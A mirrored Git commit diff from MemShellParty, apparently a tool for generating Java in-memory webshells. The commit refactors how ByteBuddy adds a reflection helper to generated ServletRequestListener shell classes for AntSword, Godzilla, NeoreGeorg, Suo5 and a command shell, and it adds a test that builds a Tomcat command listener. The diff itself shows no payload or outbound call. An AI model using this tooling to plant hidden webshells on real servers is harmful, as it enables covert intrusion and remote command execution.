mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
refactor: dynamic add getFieldValue method for Listener
This commit is contained in:
+21
-5
@@ -6,8 +6,11 @@ import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
|||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||||
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
|
|
||||||
@@ -21,19 +24,32 @@ public class ListenerGenerator {
|
|||||||
|
|
||||||
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
|
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
|
||||||
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
||||||
|
boolean needAddGetFieldValue = false;
|
||||||
|
try {
|
||||||
|
targetClass.getMethod("getFieldValue", Object.class, String.class);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
needAddGetFieldValue = true;
|
||||||
|
}
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(targetClass)
|
.redefine(targetClass)
|
||||||
.name(newClassName)
|
.name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
|
||||||
.method(named("getResponseFromRequest"),
|
.method(named("getResponseFromRequest"),
|
||||||
new MethodCallReplaceVisitorWrapper(
|
new MethodCallReplaceVisitorWrapper(
|
||||||
newClassName,
|
newClassName,
|
||||||
Collections.singleton(ShellCommonUtil.class.getName()))
|
Collections.singleton(ShellCommonUtil.class.getName()))
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
.make()) {
|
|
||||||
|
if (needAddGetFieldValue) {
|
||||||
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
|
.withParameters(Object.class, String.class)
|
||||||
|
.intercept(FixedValue.nullValue())
|
||||||
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
|
}
|
||||||
|
|
||||||
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
return unloaded
|
return unloaded
|
||||||
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
|
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
|
||||||
.getLoaded();
|
.getLoaded();
|
||||||
|
|||||||
@@ -1,5 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.utils;
|
package com.reajason.javaweb.memshell.utils;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -8,6 +10,7 @@ import java.lang.reflect.Field;
|
|||||||
*/
|
*/
|
||||||
public class ShellCommonUtil {
|
public class ShellCommonUtil {
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
Field field = null;
|
Field field = null;
|
||||||
Class<?> clazz = obj.getClass();
|
Class<?> clazz = obj.getClass();
|
||||||
@@ -26,4 +29,74 @@ public class ShellCommonUtil {
|
|||||||
return field.get(obj);
|
return field.get(obj);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static class GetFieldValueInterceptor {
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static void exit(@Advice.Argument(value = 0) Object obj,
|
||||||
|
@Advice.Argument(value = 1) String name,
|
||||||
|
@Advice.Return(readOnly = false) Object returnValue
|
||||||
|
) throws Exception {
|
||||||
|
Field field = null;
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
field = clazz.getDeclaredField(name);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (field == null) {
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
} else {
|
||||||
|
field.setAccessible(true);
|
||||||
|
returnValue = field.get(obj);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static String base64DecodeToString(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value == null ? "" : new String(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class Base64DecodeToStringInterceptor {
|
||||||
|
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
returnValue = value == null ? "" : new String(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+20
@@ -0,0 +1,20 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.server.TomcatShell;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/27
|
||||||
|
*/
|
||||||
|
class ListenerGeneratorTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testCommonListener() {
|
||||||
|
Class<?> clazz = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, CommandListener.class);
|
||||||
|
assertNotNull(clazz);
|
||||||
|
}
|
||||||
|
}
|
||||||
-21
@@ -4,7 +4,6 @@ import javax.servlet.ServletRequestEvent;
|
|||||||
import javax.servlet.ServletRequestListener;
|
import javax.servlet.ServletRequestListener;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.lang.reflect.Field;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -22,26 +21,6 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe
|
|||||||
super(z);
|
super(z);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
|
||||||
Field field = null;
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
|
||||||
field = clazz.getDeclaredField(name);
|
|
||||||
break;
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (field == null) {
|
|
||||||
throw new NoSuchFieldException(name);
|
|
||||||
} else {
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] base64Decode(String bs) {
|
public static byte[] base64Decode(String bs) {
|
||||||
byte[] value = null;
|
byte[] value = null;
|
||||||
|
|||||||
-22
@@ -6,7 +6,6 @@ import javax.servlet.ServletRequestListener;
|
|||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.lang.reflect.Field;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -45,25 +44,4 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
|
||||||
Field field = null;
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
|
||||||
field = clazz.getDeclaredField(name);
|
|
||||||
break;
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (field == null) {
|
|
||||||
throw new NoSuchFieldException(name);
|
|
||||||
} else {
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
-21
@@ -8,7 +8,6 @@ import javax.servlet.http.HttpServletRequest;
|
|||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import javax.servlet.http.HttpSession;
|
import javax.servlet.http.HttpSession;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.lang.reflect.Field;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -27,26 +26,6 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
|
|||||||
super(z);
|
super(z);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
|
||||||
Field field = null;
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
|
||||||
field = clazz.getDeclaredField(name);
|
|
||||||
break;
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (field == null) {
|
|
||||||
throw new NoSuchFieldException(name);
|
|
||||||
} else {
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static String base64Encode(byte[] bs) throws Exception {
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
String value = null;
|
String value = null;
|
||||||
|
|||||||
-21
@@ -39,27 +39,6 @@ public class NeoreGeorgListener extends ClassLoader implements ServletRequestLis
|
|||||||
return super.defineClass(cb, 0, cb.length);
|
return super.defineClass(cb, 0, cb.length);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
|
||||||
Field field = null;
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
|
||||||
field = clazz.getDeclaredField(name);
|
|
||||||
break;
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (field == null) {
|
|
||||||
throw new NoSuchFieldException(name);
|
|
||||||
} else {
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
|||||||
@@ -571,26 +571,6 @@ public class Suo5Listener implements ServletRequestListener, Runnable, HostnameV
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
|
||||||
Field field = null;
|
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
|
||||||
field = clazz.getDeclaredField(name);
|
|
||||||
break;
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (field == null) {
|
|
||||||
throw new NoSuchFieldException(name);
|
|
||||||
} else {
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user